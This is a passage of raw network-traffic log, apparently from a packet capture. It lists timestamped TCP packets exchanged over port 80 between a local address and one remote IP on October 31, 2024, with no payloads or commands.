Oct 31, 2024 03:04:23.331109047 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.331114054 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.331161976 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.375885963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.375907898 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.375925064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.375936031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.375961065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.375977993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376003981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376019955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376019001 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.376051903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376064062 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376074076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376091957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376095057 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.376102924 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376112938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.376132965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.376132965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.376229048 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413129091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413183928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413194895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413212061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413223028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413254023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413299084 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413372993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413439035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413450003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413479090 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413479090 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413512945 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413535118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413546085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413556099 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413558960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413558960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413599968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413599968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413707018 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413717031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413738012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413749933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413759947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.413781881 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413783073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.413822889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414302111 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414346933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414356947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414364100 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414412975 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414444923 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414510012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414587975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414598942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414608955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414647102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414661884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414678097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414689064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414700031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414721012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414737940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414737940 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414737940 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414747953 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414757967 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414776087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414787054 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414798021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414807081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414817095 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414829969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414829969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414896965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414921999 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414932013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414941072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414956093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.414985895 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.414985895 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415018082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415117979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415128946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415139914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415150881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415175915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415205956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415218115 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415227890 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415235043 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415252924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415272951 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415282011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415292025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415302038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415322065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415343046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415370941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415378094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415405035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415416002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415445089 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415474892 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415576935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415587902 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415596962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415623903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415636063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415637016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415637016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415644884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415657997 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415673971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415676117 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415689945 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415702105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415704012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415713072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415723085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415730000 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415774107 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415774107 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415776968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415787935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415797949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415828943 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415842056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415842056 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415853024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415863037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415874004 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415901899 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415901899 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415913105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415924072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415932894 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415935040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.415952921 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.415970087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416246891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416258097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416268110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416276932 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416301966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416312933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416312933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416312933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416322947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416335106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416387081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416388035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416435957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416441917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416450024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416559935 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416565895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416575909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416585922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416596889 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416606903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416634083 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416635036 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416646004 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416647911 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416656971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416667938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416678905 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416708946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416719913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416723013 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416729927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.416757107 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.416795969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449245930 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449256897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449266911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449280024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449291945 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449304104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449309111 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449354887 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449457884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449467897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449474096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449485064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449522018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449534893 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449534893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449547052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449557066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449569941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449573040 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449580908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449589968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449625015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449625015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449641943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449651957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449661016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449687004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449722052 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449825048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449834108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449842930 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449853897 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449866056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449877024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.449898005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449898005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.449914932 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495261908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495275021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495285034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495331049 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495338917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495345116 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495351076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495361090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495373011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495403051 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495423079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495436907 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495449066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495457888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495470047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495481968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.495501041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495538950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.495538950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.531802893 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.531825066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.531835079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.531893015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.531893015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532010078 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532027960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532041073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532073021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532085896 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532704115 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532716036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532741070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532752037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532763958 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532776117 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532778978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532778978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532787085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532810926 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532824039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532835960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532845974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532859087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532859087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532859087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532870054 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.532891989 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.532931089 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533062935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533073902 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533085108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533096075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533101082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533121109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533160925 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533268929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533279896 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533296108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533308029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533318043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533319950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533344984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533354044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533364058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533375025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533375978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533375978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533396959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533407927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533409119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533420086 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533436060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533461094 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533461094 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533493042 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533755064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533765078 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533793926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533806086 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533829927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533829927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533864021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533875942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533886909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533898115 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533910036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533921957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.533945084 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533956051 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.533992052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534003019 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534013033 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534025908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534049034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534054995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534054995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534060955 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534070015 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534104109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534121037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534246922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534269094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534290075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534292936 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534301043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534312010 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534322023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534324884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534324884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534332037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534351110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534392118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534392118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534415007 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534431934 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534444094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534461975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534476995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534476995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534478903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534488916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534502029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534528017 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.534533978 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.534533978 CET	63827	80	192.168.2.4	185.215.113.16
